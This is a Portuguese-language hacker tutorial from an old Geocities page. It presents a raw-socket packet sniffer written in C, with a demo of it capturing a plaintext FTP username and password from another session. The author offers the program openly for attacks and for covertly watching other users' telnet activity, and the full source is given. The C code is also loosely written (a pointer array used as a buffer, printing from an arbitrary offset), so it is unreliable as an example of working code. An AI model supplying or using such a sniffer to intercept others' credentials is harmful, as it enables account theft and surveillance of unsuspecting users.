Sniffing Simples
Todos sabem o que eh sniffar uma maquina nao?? Interceptar pacotes
enviados de uma maquina `a outra...
Os sniffer atuais o que fazem eh sniffar uma interface (tipo eth0) e
gravar dados importantes tipo login/pass. A tecnica que vou mostrar aki eh
mais simples, ja que este texto serve apenas como introducao ao sniffing.
O que vou fazer aki eh usar o recvfrom() no tcp para exibir todo o
conteudo dos pacotes recebidos por este protocolo, seja em ftp, telnet,
smtp, etc...
O programa q eu fiz ainda eh muito simples mas voce pode usa-lo tanto
para um ataque (caso outros sniffers nao estejam compilando) qto para
vijiar o que os outros estao fazendo na sua maquina.
Vejamos...

~# ./sniff

Em outra shell...

~$ ftp 127.0.0.1
Connected to 127.0.0.1.
220 localhost.localdomain FTP server (Version wu-2.4.2-academ[BETA-18](1)
sex dez 11 14:30:11 EDT 1998) ready.
Name (127.0.0.1:lamah): struck
331 Password required for struck.
Password:
230 User struck logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quit
221 Goodbye.

Voltando a 1a shell...

~# ./sniff
220 localhost.localdomain FTP server (Version wu-2.4.2-academ[BETA-18](1)
sex dez 11 14:30:11 EDT 1998) ready.
USER struck
331 Password required for struck.
PASS struck
230 User struck logged in.
SYST
215 UNIX Type: L8
QUIT
221 Goodbye.

Blza! Tipo... Voce pode usa-lo no telnet e vigiar o que seus usuarios
estao fazendo no momento. Porem Caso muitas pessoas estejam conectadas os
pacotes ficarao misturados e fika mais dificio de entender quem esta
fazendo cada coisa... O mesmo pode acontecer caso conectem-se por telnet e
ftp simultaneamente. Por isso o melhor eh utiliza-lo apenas qdo 1 unico
usuario estiver conectado em outros casos existem programas tipo telnetsnoop
que fazem isso.
Ah! SSH nao pode ser sniffado pois os pacotes sao criptografados.
Para parar o sniffer de Ctrl+C.

<++> sniff/sniff.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip.h>
#include <netdb.h>

int main(int argc, char *argv[]) {
struct protoent *p;
struct sockaddr_in fr0m;
int tam, size;
char *pkt[4096];
int s0ck;

p = getprotobyname("tcp");
if ((s0ck = socket(AF_INET, SOCK_RAW, p->p_proto)) == -1) return 0;

do {
memset(&pkt,0x00,sizeof(pkt));
tam = sizeof(fr0m);
size = recvfrom(s0ck,pkt,sizeof(pkt),0,(struct sockaddr *)&fr0m,&tam);
printf("%s", &pkt[13]);
} while (!0);
}
<-->

Hosted by www.Geocities.ws

Copyright © Cyber Nine/Crack's S.A todos direitos reservados
Hosted by www.Geocities.ws

Hosted by www.Geocities.ws

Hosted by www.Geocities.ws

Hosted by www.Geocities.ws

1